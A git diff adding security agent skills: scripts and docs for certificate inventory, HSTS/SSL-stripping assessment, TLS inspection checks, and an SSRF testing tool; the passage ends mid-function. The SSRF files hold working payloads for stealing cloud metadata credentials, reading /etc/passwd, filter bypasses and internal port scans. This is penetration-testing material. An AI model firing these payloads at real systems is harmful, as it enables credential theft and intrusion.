a/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py b/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py new file mode 100644 index 00000000..44137813 --- /dev/null +++ b/skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Agent for SSL/TLS certificate lifecycle management. + +Generates CSRs, parses X.509 certificates using the cryptography +library, monitors expiration across infrastructure, checks OCSP +revocation status, and maintains a certificate inventory. +""" + +import json +import sys +import ssl +import socket +from datetime import datetime, timedelta +from pathlib import Path + +try: + from cryptography import x509 + from cryptography.x509.oid import NameOID, ExtensionOID + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import ec, rsa + HAS_CRYPTO = True +except ImportError: + HAS_CRYPTO = False + + +class CertLifecycleAgent: + """Manages SSL/TLS certificate lifecycle operations.""" + + def __init__(self, output_dir="./cert_inventory"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.inventory = [] + + def generate_csr(self, common_name, org="", country="US", + san_names=None, key_type="ecdsa"): + """Generate a private key and Certificate Signing Request.""" + if not HAS_CRYPTO: + return {"error": "cryptography library required"} + + if key_type == "ecdsa": + private_key = ec.generate_private_key(ec.SECP256R1()) + else: + private_key = rsa.generate_private_key( + public_exponent=65537, key_size=2048) + + subject = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, country), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, org or common_name), + x509.NameAttribute(NameOID.COMMON_NAME, common_name), + ]) + + builder = x509.CertificateSigningRequestBuilder().subject_name(subject) + + if san_names: + sans = [x509.DNSName(n) for n in san_names] + builder = builder.add_extension( + x509.SubjectAlternativeName(sans), critical=False) + + csr = builder.sign(private_key, hashes.SHA256()) + + key_path = self.output_dir / f"{common_name}.key" + csr_path = self.output_dir / f"{common_name}.csr" + + key_path.write_bytes(private_key.private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.PKCS8, + serialization.NoEncryption())) + csr_path.write_bytes(csr.public_bytes(serialization.Encoding.PEM)) + + return {"common_name": common_name, "key_file": str(key_path), + "csr_file": str(csr_path), "key_type": key_type} + + def fetch_remote_cert(self, hostname, port=443): + """Fetch and parse a certificate from a remote server.""" + try: + ctx = ssl.create_default_context() + with ctx.wrap_socket(socket.socket(), server_hostname=hostname) as s: + s.settimeout(10) + s.connect((hostname, port)) + der = s.getpeercert(binary_form=True) + pem_info = s.getpeercert() + + not_after = datetime.strptime( + pem_info["notAfter"], "%b %d %H:%M:%S %Y %Z") + not_before = datetime.strptime( + pem_info["notBefore"], "%b %d %H:%M:%S %Y %Z") + days_remaining = (not_after - datetime.utcnow()).days + + subject = dict(x[0] for x in pem_info.get("subject", ())) + issuer = dict(x[0] for x in pem_info.get("issuer", ())) + sans = [entry[1] for entry in pem_info.get("subjectAltName", ())] + + entry = { + "hostname": hostname, "port": port, + "subject_cn": subject.get("commonName", ""), + "issuer_cn": issuer.get("commonName", ""), + "issuer_org": issuer.get("organizationName", ""), + "not_before": not_before.isoformat(), + "not_after": not_after.isoformat(), + "days_remaining": days_remaining, + "san": sans[:20], + "serial": pem_info.get("serialNumber", ""), + "version": pem_info.get("version", 0), + "expired": days_remaining < 0, + "expiring_soon": 0 < days_remaining <= 30, + } + self.inventory.append(entry) + return entry + + except (socket.error, ssl.SSLError, OSError) as exc: + return {"hostname": hostname, "error": str(exc)} + + def scan_hosts(self, hostnames, port=443): + """Scan multiple hosts and collect certificate data.""" + results = [] + for host in hostnames: + result = self.fetch_remote_cert(host, port) + results.append(result) + return results + + def check_expiring(self, threshold_days=30): + """Return certificates expiring within threshold days.""" + return [c for c in self.inventory + if c.get("days_remaining", 999) <= threshold_days + and "error" not in c] + + def generate_report(self): + """Generate certificate inventory report.""" + expiring = self.check_expiring(30) + expired = [c for c in self.inventory if c.get("expired")] + + report = { + "report_date": datetime.utcnow().isoformat(), + "total_certificates": len(self.inventory), + "expired": len(expired), + "expiring_30d": len(expiring), + "healthy": len(self.inventory) - len(expired) - len(expiring), + "certificates": self.inventory, + "alerts": [ + {"hostname": c["hostname"], + "days_remaining": c["days_remaining"], + "severity": "critical" if c.get("expired") else "warning"} + for c in expired + expiring + ], + } + + report_path = self.output_dir / "cert_inventory_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + hosts = sys.argv[1:] if len(sys.argv) > 1 else [ + "google.com", "github.com", "expired.badssl.com"] + agent = CertLifecycleAgent() + agent.scan_hosts(hosts) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ssl-stripping-attack/LICENSE b/skills/performing-ssl-stripping-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ssl-stripping-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ssl-stripping-attack/references/api-reference.md b/skills/performing-ssl-stripping-attack/references/api-reference.md new file mode 100644 index 00000000..c716e01b --- /dev/null +++ b/skills/performing-ssl-stripping-attack/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: SSL Stripping Assessment Agent + +## Overview + +Automates SSL stripping vulnerability assessment by checking HSTS headers, preload list status, redirect chains, mixed content, and security headers using curl subprocess calls. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| subprocess | stdlib | Runs curl for HTTP header inspection | +| re | stdlib | Regex parsing of HSTS header values | +| json | stdlib | Parses hstspreload.org API responses | + +## External Tools Required + +| Tool | Purpose | +|------|---------| +| curl | HTTP/HTTPS header and content fetching | + +## Core Functions + +### `check_hsts_header(target_url)` +Fetches response headers and parses Strict-Transport-Security values. +- **Returns**: `dict` with `hsts_present`, `max_age`, `include_subdomains`, `preload` + +### `check_hsts_preload(domain)` +Queries the hstspreload.org API to check browser preload list inclusion. +- **Returns**: `dict` with `status` and `preloaded` boolean + +### `check_redirect_chain(url)` +Follows HTTP redirects to verify HTTPS upgrade behavior. +- **Returns**: `dict` with `initial_url`, `final_url`, `upgrades_to_https` + +### `check_mixed_content(url)` +Scans page HTML for HTTP resource references on HTTPS pages. +- **Returns**: `dict` with `mixed_content_found` and `http_reference_count` + +### `check_security_headers(url)` +Checks for CSP, X-Content-Type-Options, X-Frame-Options, and Upgrade-Insecure-Requests. +- **Returns**: `dict[str, bool]` - header name to presence mapping + +### `run_assessment(targets)` +Full assessment pipeline for a list of target domains. +- **Parameters**: `targets` (list[str]) - domain names +- **Returns**: `list[dict]` - per-target assessment results with `ssl_strip_risk` + +## Risk Levels + +| Level | Criteria | +|-------|----------| +| HIGH | No HSTS header present | +| MEDIUM | HSTS present but not in preload list | +| LOW | HSTS with preload list inclusion | + +## Usage + +```bash +python agent.py example.com banking.example.com api.example.com +``` diff --git a/skills/performing-ssl-stripping-attack/scripts/agent.py b/skills/performing-ssl-stripping-attack/scripts/agent.py new file mode 100644 index 00000000..a9e2d9f9 --- /dev/null +++ b/skills/performing-ssl-stripping-attack/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""SSL stripping assessment agent using subprocess wrappers for bettercap and curl.""" + +import subprocess +import re +import json +import sys +import shutil + + +def check_hsts_header(target_url): + """Check HSTS header on a target URL using curl.""" + result = subprocess.run( + ["curl", "-sI", "--max-time", "10", target_url], + capture_output=True, text=True, timeout=15 + ) + headers = result.stdout + hsts_match = re.search( + r"strict-transport-security:\s*(.+)", headers, re.IGNORECASE + ) + findings = {"url": target_url, "hsts_present": False, "details": {}} + if hsts_match: + hsts_value = hsts_match.group(1).strip() + findings["hsts_present"] = True + findings["details"]["raw"] = hsts_value + max_age = re.search(r"max-age=(\d+)", hsts_value) + if max_age: + findings["details"]["max_age"] = int(max_age.group(1)) + findings["details"]["include_subdomains"] = "includesubdomains" in hsts_value.lower() + findings["details"]["preload"] = "preload" in hsts_value.lower() + return findings + + +def check_hsts_preload(domain): + """Check if domain is in HSTS preload list via the hstspreload.org API.""" + try: + result = subprocess.run( + ["curl", "-s", f"https://hstspreload.org/api/v2/status?domain={domain}"], + capture_output=True, text=True, timeout=15 + ) + data = json.loads(result.stdout) + return { + "domain": domain, + "status": data.get("status", "unknown"), + "preloaded": data.get("status") == "preloaded", + } + except (json.JSONDecodeError, subprocess.TimeoutExpired): + return {"domain": domain, "status": "error", "preloaded": False} + + +def check_redirect_chain(url): + """Follow HTTP redirects and check for HTTPS upgrade.""" + result = subprocess.run( + ["curl", "-sIL", "--max-time", "10", "-o", "/dev/null", + "-w", "%{redirect_url}\\n%{url_effective}\\n%{scheme}", url], + capture_output=True, text=True, timeout=15 + ) + lines = result.stdout.strip().split("\n") + return { + "initial_url": url, + "redirect_url": lines[0] if len(lines) > 0 else "", + "final_url": lines[1] if len(lines) > 1 else "", + "final_scheme": lines[2] if len(lines) > 2 else "", + "upgrades_to_https": lines[2] == "HTTPS" if len(lines) > 2 else False, + } + + +def check_mixed_content(url): + """Fetch page and check for HTTP resources on an HTTPS page.""" + result = subprocess.run( + ["curl", "-s", "--max-time", "10", url], + capture_output=True, text=True, timeout=15 + ) + body = result.stdout + http_refs = re.findall(r'(src|href|action)=["\']http://', body, re.IGNORECASE) + return { + "url": url, + "mixed_content_found": len(http_refs) > 0, + "http_reference_count": len(http_refs), + } + + +def check_security_headers(url): + """Check for key security headers that complement HSTS.""" + result = subprocess.run( + ["curl", "-sI", "--max-time", "10", url], + capture_output=True, text=True, timeout=15 + ) + headers_text = result.stdout.lower() + checks = { + "content-security-policy": "content-security-policy:" in headers_text, + "x-content-type-options": "x-content-type-options:" in headers_text, + "x-frame-options": "x-frame-options:" in headers_text, + "upgrade-insecure-requests": "upgrade-insecure-requests" in headers_text, + } + return checks + + +def run_assessment(targets): + """Run full SSL stripping assessment against a list of target domains.""" + results = [] + for target in targets: + https_url = f"https://{target}" + http_url = f"http://{target}" + entry = {"target": target} + entry["hsts"] = check_hsts_header(https_url) + entry["preload"] = check_hsts_preload(target) + entry["redirect"] = check_redirect_chain(http_url) + entry["mixed_content"] = check_mixed_content(https_url) + entry["security_headers"] = check_security_headers(https_url) + vulnerable = ( + not entry["hsts"]["hsts_present"] + or not entry["preload"]["preloaded"] + or entry["mixed_content"]["mixed_content_found"] + ) + entry["ssl_strip_risk"] = "HIGH" if not entry["hsts"]["hsts_present"] else ( + "MEDIUM" if not entry["preload"]["preloaded"] else "LOW" + ) + results.append(entry) + return results + + +def print_report(results): + print("SSL Stripping Assessment Report") + print("=" * 50) + for r in results: + print(f"\nTarget: {r['target']}") + print(f" HSTS Present: {r['hsts']['hsts_present']}") + if r["hsts"]["hsts_present"]: + d = r["hsts"]["details"] + print(f" max-age: {d.get('max_age', 'N/A')}") + print(f" subdomains: {d.get('include_subdomains', False)}") + print(f" preload dir: {d.get('preload', False)}") + print(f" Preload List: {r['preload']['status']}") + print(f" HTTP->HTTPS: {r['redirect']['upgrades_to_https']}") + print(f" Mixed Content: {r['mixed_content']['http_reference_count']} refs") + print(f" SSL Strip Risk: {r['ssl_strip_risk']}") + sh = r["security_headers"] + missing = [h for h, v in sh.items() if not v] + if missing: + print(f" Missing Headers: {', '.join(missing)}") + + +if __name__ == "__main__": + targets = sys.argv[1:] if len(sys.argv) > 1 else ["example.com"] + results = run_assessment(targets) + print_report(results) diff --git a/skills/performing-ssl-tls-inspection-configuration/LICENSE b/skills/performing-ssl-tls-inspection-configuration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ssl-tls-inspection-configuration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ssl-tls-inspection-configuration/references/api-reference.md b/skills/performing-ssl-tls-inspection-configuration/references/api-reference.md new file mode 100644 index 00000000..1ce358ca --- /dev/null +++ b/skills/performing-ssl-tls-inspection-configuration/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: SSL/TLS Inspection Configuration + +## Inspection Validation Commands + +| Command | Description | +|---------|-------------| +| `openssl s_client -connect host:443 -servername host` | Check certificate issuer | +| `curl -v https://host 2>&1 \| grep issuer` | Verify inspection via curl | +| `show system setting ssl-decrypt memory` | PAN-OS decryption stats | +| `show counter global filter category ssl` | PAN-OS SSL counters | + +## CA Deployment Commands + +### Windows (GPO/PowerShell) +| Command | Description | +|---------|-------------| +| `Import-Certificate -FilePath ca.crt -CertStoreLocation Cert:\LocalMachine\Root` | Install CA cert | +| `Get-ChildItem Cert:\LocalMachine\Root \| Where Subject -like "*CA*"` | Verify deployment | + +### Linux +| Command | Description | +|---------|-------------| +| `cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates` | Ubuntu/Debian | +| `cp ca.crt /etc/pki/ca-trust/source/anchors/ && update-ca-trust` | RHEL/CentOS | + +### macOS +| Command | Description | +|---------|-------------| +| `security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain ca.crt` | Install CA | + +## Palo Alto SSL Decryption Policy + +| Setting | Description | +|---------|-------------| +| `ssl-forward-proxy` | Outbound HTTPS inspection | +| `ssl-inbound-inspection` | Inbound to internal servers | +| `block-expired-certificate yes` | Block expired server certs | +| `min-version tls1-2` | Enforce TLS 1.2 minimum | + +## Exemption Categories + +| Category | Reason | +|----------|--------| +| Certificate-pinned apps | Apple Update, Microsoft Update, Dropbox | +| Healthcare/Financial | HIPAA/PCI privacy requirements | +| Legal privilege | Attorney-client communication | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `ssl` | stdlib | TLS handshake, version testing | +| `socket` | stdlib | TCP connections | +| `subprocess` | stdlib | PowerShell CA verification | + +## References + +- Palo Alto SSL Decryption: https://docs.paloaltonetworks.com/network-security/decryption +- NIST SP 800-52 Rev 2: https://csrc.nist.gov/publications/detail/sp/800-52/rev-2/final +- US-CERT HTTPS Inspection: https://www.cisa.gov/news-events/alerts/2017/03/13/https-interception-weakens-tls-security diff --git a/skills/performing-ssl-tls-inspection-configuration/scripts/agent.py b/skills/performing-ssl-tls-inspection-configuration/scripts/agent.py new file mode 100644 index 00000000..aad38ffb --- /dev/null +++ b/skills/performing-ssl-tls-inspection-configuration/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Agent for SSL/TLS inspection configuration validation. + +Verifies TLS inspection is working by comparing certificate issuers, +validates CA deployment on endpoints, checks TLS version enforcement, +audits decryption exemption lists, and monitors inspection health. +""" + +import ssl +import socket +import json +import sys +import subprocess +from datetime import datetime + + +class TLSInspectionAgent: + """Validates SSL/TLS inspection configuration and health.""" + + def __init__(self, internal_ca_cn=None): + self.internal_ca_cn = internal_ca_cn or "SSL Inspection CA" + self.results = [] + + def check_inspection_active(self, hostname, port=443): + """Connect to external host and check if cert is signed by internal CA.""" + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with ctx.wrap_socket(socket.socket(), + server_hostname=hostname) as s: + s.settimeout(10) + s.connect((hostname, port)) + cert = s.getpeercert(binary_form=False) + if not cert: + der = s.getpeercert(binary_form=True) + return {"hostname": hostname, "inspection": "unknown", + "note": "Could not parse certificate"} + + issuer = dict(x[0] for x in cert.get("issuer", ())) + issuer_cn = issuer.get("commonName", "") + issuer_org = issuer.get("organizationName", "") + subject = dict(x[0] for x in cert.get("subject", ())) + + is_inspected = self.internal_ca_cn.lower() in issuer_cn.lower() + + result = { + "hostname": hostname, "port": port, + "subject_cn": subject.get("commonName", ""), + "issuer_cn": issuer_cn, + "issuer_org": issuer_org, + "inspection_active": is_inspected, + "tls_version": s.version() if hasattr(s, "version") else "unknown", + } + self.results.append(result) + return result + + except (socket.error, ssl.SSLError, OSError) as exc: + result = {"hostname": hostname, "error": str(exc)} + self.results.append(result) + return result + + def check_tls_version(self, hostname, port=443): + """Check minimum TLS version supported by the inspecting proxy.""" + versions_to_test = [ + ("TLSv1.0", ssl.TLSVersion.TLSv1 if hasattr(ssl.TLSVersion, "TLSv1") else None), + ("TLSv1.1", ssl.TLSVersion.TLSv1_1 if hasattr(ssl.TLSVersion, "TLSv1_1") else None), + ("TLSv1.2", ssl.TLSVersion.TLSv1_2), + ("TLSv1.3", ssl.TLSVersion.TLSv1_3 if hasattr(ssl.TLSVersion, "TLSv1_3") else None), + ] + results = [] + for name, ver in versions_to_test: + if ver is None: + results.append({"version": name, "status": "not_testable"}) + continue + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.minimum_version = ver + ctx.maximum_version = ver + with ctx.wrap_socket(socket.socket(), + server_hostname=hostname) as s: + s.settimeout(5) + s.connect((hostname, port)) + results.append({"version": name, "status": "accepted"}) + except (ssl.SSLError, socket.error): + results.append({"version": name, "status": "rejected"}) + return results + + def verify_ca_deployed(self): + """Check if the inspection CA certificate is in the local trust store.""" + try: + result = subprocess.run( + ["powershell", "-NoProfile", "-Command", + f'Get-ChildItem Cert:\\LocalMachine\\Root | ' + f'Where-Object {{$_.Subject -like "*{self.internal_ca_cn}*"}} | ' + f'Select-Object Subject,NotAfter,Thumbprint | ConvertTo-Json'], + capture_output=True, text=True, timeout=30 + ) + if result.returncode == 0 and result.stdout.strip(): + data = json.loads(result.stdout) + if isinstance(data, dict): + data = [data] + return {"ca_deployed": True, "certificates": data} + except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError): + pass + return {"ca_deployed": False} + + def audit_exemptions(self, exempt_domains): + """Verify exempted domains bypass inspection (show original CA).""" + results = [] + for domain in exempt_domains: + info = self.check_inspection_active(domain) + results.append({ + "domain": domain, + "correctly_exempted": not info.get("inspection_active", True), + "issuer": info.get("issuer_cn", ""), + }) + return results + + def scan_multiple(self, hostnames): + """Check inspection status for multiple external hosts.""" + for host in hostnames: + self.check_inspection_active(host) + return self.results + + def generate_report(self): + """Generate inspection validation report.""" + inspected = sum(1 for r in self.results if r.get("inspection_active")) + not_inspected = sum(1 for r in self.results + if r.get("inspection_active") is False) + errors = sum(1 for r in self.results if "error" in r) + + report = { + "report_date": datetime.utcnow().isoformat(), + "internal_ca": self.internal_ca_cn, + "total_tested": len(self.results), + "inspected": inspected, + "not_inspected": not_inspected, + "errors": errors, + "results": self.results, + } + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + ca_cn = sys.argv[1] if len(sys.argv) > 1 else "SSL Inspection CA" + hosts = sys.argv[2:] if len(sys.argv) > 2 else [ + "www.google.com", "github.com", "www.example.com"] + agent = TLSInspectionAgent(internal_ca_cn=ca_cn) + agent.scan_multiple(hosts) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ssrf-vulnerability-exploitation/LICENSE b/skills/performing-ssrf-vulnerability-exploitation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ssrf-vulnerability-exploitation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ssrf-vulnerability-exploitation/SKILL.md b/skills/performing-ssrf-vulnerability-exploitation/SKILL.md new file mode 100644 index 00000000..45376182 --- /dev/null +++ b/skills/performing-ssrf-vulnerability-exploitation/SKILL.md @@ -0,0 +1,33 @@ +--- +name: performing-ssrf-vulnerability-exploitation +description: >- + Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, + internal network services, and protocol handlers through user-controllable URL parameters. + Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, + URL scheme bypass techniques, and DNS rebinding detection. +--- + +## Instructions + +1. Install dependencies: `pip install requests` +2. Identify URL parameters in the target application that accept URLs or hostnames. +3. Test SSRF payloads: + - Cloud metadata: `http://169.254.169.254/latest/meta-data/` + - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/` + - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://` + - Bypass techniques: IP encoding, DNS rebinding, URL redirects +4. Analyze responses for information disclosure or internal access confirmation. +5. Generate a vulnerability assessment report. + +```bash +# For authorized penetration testing and lab environments only +python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json +``` + +## Examples + +### AWS Metadata SSRF +``` +GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ +``` +If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact. diff --git a/skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md b/skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md new file mode 100644 index 00000000..ff696a25 --- /dev/null +++ b/skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md @@ -0,0 +1,40 @@ +# API Reference: SSRF Vulnerability Testing + +## Cloud Metadata Endpoints +| Cloud | URL | Headers | +|-------|-----|---------| +| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` | None | +| AWS IMDSv2 | `http://169.254.169.254/latest/api/token` | `X-aws-ec2-metadata-token-ttl-seconds: 21600` | +| GCP | `http://metadata.google.internal/computeMetadata/v1/` | `Metadata-Flavor: Google` | +| Azure | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` | `Metadata: true` | + +## IP Encoding Bypass Techniques +| Technique | 169.254.169.254 Encoded | +|-----------|------------------------| +| Decimal | `2852039166` | +| Hex | `0xa9fea9fe` | +| Octal | `0251.0376.0251.0376` | +| IPv6 mapped | `[::ffff:169.254.169.254]` | +| Shortened | `169.254.169.254` -> `0` (localhost) | + +## Python requests +```python +import requests +resp = requests.get(url, timeout=10, allow_redirects=False, verify=False) +resp.status_code # HTTP status +resp.text # Response body +len(resp.content) # Response size +resp.headers # Response headers +``` + +## SSRF Impact Levels +| Access | Impact | Severity | +|--------|--------|----------| +| Cloud metadata credentials | Full account compromise | Critical | +| Internal service access | Lateral movement | High | +| Local file read (file://) | Information disclosure | High | +| Internal port scan | Reconnaissance | Medium | + +## MITRE ATT&CK +- T1190 - Exploit Public-Facing Application +- T1552.005 - Cloud Instance Metadata API diff --git a/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py b/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py new file mode 100644 index 00000000..6832690c --- /dev/null +++ b/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +# For authorized penetration testing and lab environments only +"""SSRF Vulnerability Testing Agent - Tests for Server-Side Request Forgery via URL parameters.""" + +import json +import logging +import argparse +from urllib.parse import urlencode +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +METADATA_PAYLOADS = [ + {"name": "AWS IMDSv1 metadata", "url": "http://169.254.169.254/latest/meta-data/", "indicator": "ami-id"}, + {"name": "AWS IAM credentials", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "indicator": "AccessKeyId"}, + {"name": "AWS user-data", "url": "http://169.254.169.254/latest/user-data", "indicator": ""}, + {"name": "GCP metadata", "url": "http://metadata.google.internal/computeMetadata/v1/", "indicator": "attributes"}, + {"name": "GCP service account token", "url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "indicator": "access_token"}, + {"name": "Azure IMDS", "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "indicator": "compute"}, + {"name": "Azure managed identity", "url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", "indicator": "access_token"}, +] + +INTERNAL_SCAN_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017] + +BYPASS_PAYLOADS = [ + {"name": "Decimal IP", "url": "http://2852039166/latest/meta-data/"}, + {"name": "Hex IP", "url": "http://0xa9fea9fe/latest/meta-data/"}, + {"name": "Octal IP", "url": "http://0251.0376.0251.0376/latest/meta-data/"}, + {"name": "IPv6 mapped", "url": "http://[::ffff:169.254.169.254]/latest/meta-data/"}, + {"name": "Short URL localhost", "url": "http://0/"}, + {"name": "Redirect bypass", "url": "http://spoofed.burpcollaborator.net/redirect?url=http://169.254.169.254/"}, + {"name": "DNS rebinding", "url": "http://a]@169.254.169.254/latest/meta-data/"}, +] + + +def test_ssrf_payload(target_url, ssrf_payload, timeout=10): + """Send an SSRF payload through the target URL parameter.""" + test_url = f"{target_url}{ssrf_payload}" + try: + resp = requests.get(test_url, timeout=timeout, allow_redirects=False, verify=False) + return { + "status_code": resp.status_code, + "response_length": len(resp.content), + "response_preview": resp.text[:500], + "headers": dict(resp.headers), + } + except requests.RequestException as e: + return {"error": str(e)} + + +def test_metadata_endpoints(target_url): + """Test cloud metadata SSRF payloads.""" + findings = [] + for payload in METADATA_PAYLOADS: + result = test_ssrf_payload(target_url, payload["url"]) + vulnerable = False + if "error" not in result: + if result["status_code"] == 200 and result["response_length"] > 10: + if payload["indicator"] and payload["indicator"] in result.get("response_preview", ""): + vulnerable = True + elif not payload["indicator"] and result["response_length"] > 50: + vulnerable = True + findings.append({ + "test": payload["name"], + "payload": payload["url"], + "vulnerable": vulnerable, + "severity": "critical" if vulnerable else "info", + "response_status": result.get("status_code"), + "response_length": result.get("response_length", 0), + }) + if vulnerable: + logger.warning("SSRF confirmed: %s", payload["name"]) + return findings + + +def test_internal_port_scan(target_url, internal_ip="127.0.0.1"): + """Use SSRF to scan internal ports.""" + open_ports = [] + for port in INTERNAL_SCAN_PORTS: + payload = f"http://{internal_ip}:{port}/" + result = test_ssrf_payload(target_url, payload, timeout=5) + if "error" not in result and result["status_code"] != 502: + open_ports.append({ + "ip": internal_ip, + "port": port, + "status": result["status_code"], + "response_length": result["response_length"], + }) + logger.info("Internal port open: %s:%d (status: %d)", internal_ip, port, result["status_code"]) + return open_ports + + +def test_bypass_techniques(target_url): + """Test SSRF filter bypass techniques.""" + bypass_results = [] + for payload in BYPASS_PAYLOADS: + result = test_ssrf_payload(target_url, payload["url"], timeout=5) + success = "error" not in result and result.get("status_code") == 200 and result.get("response_length", 0) > 10 + bypass_results.append({ + "technique": payload["name"], + "payload": payload["url"], + "bypassed": success, + "severity": "high" if success else "info", + }) + if success: + logger.warning("SSRF bypass succeeded: %s", payload["name"]) + return bypass_results + + +def test_protocol_handlers(target_url): + """Test non-HTTP protocol handlers for SSRF.""" + protocols = [ + {"name": "file:// protocol", "url": "file:///etc/passwd", "indicator": "root:"}, + {"name": "gopher:// protocol", "url": "gopher://127.0.0.1:6379/_INFO", "indicator": "redis"}, + {"name": "dict:// protocol", "url": "dict://127.0.0.1:6379/INFO", "indicator": "redis"}, + ] + results = [] + for proto in protocols: + result = test_ssrf_payload(target_url, proto["url"], timeout=5) + vulnerable = ( + "error" not in result + and result.get("status_code") == 200 + and 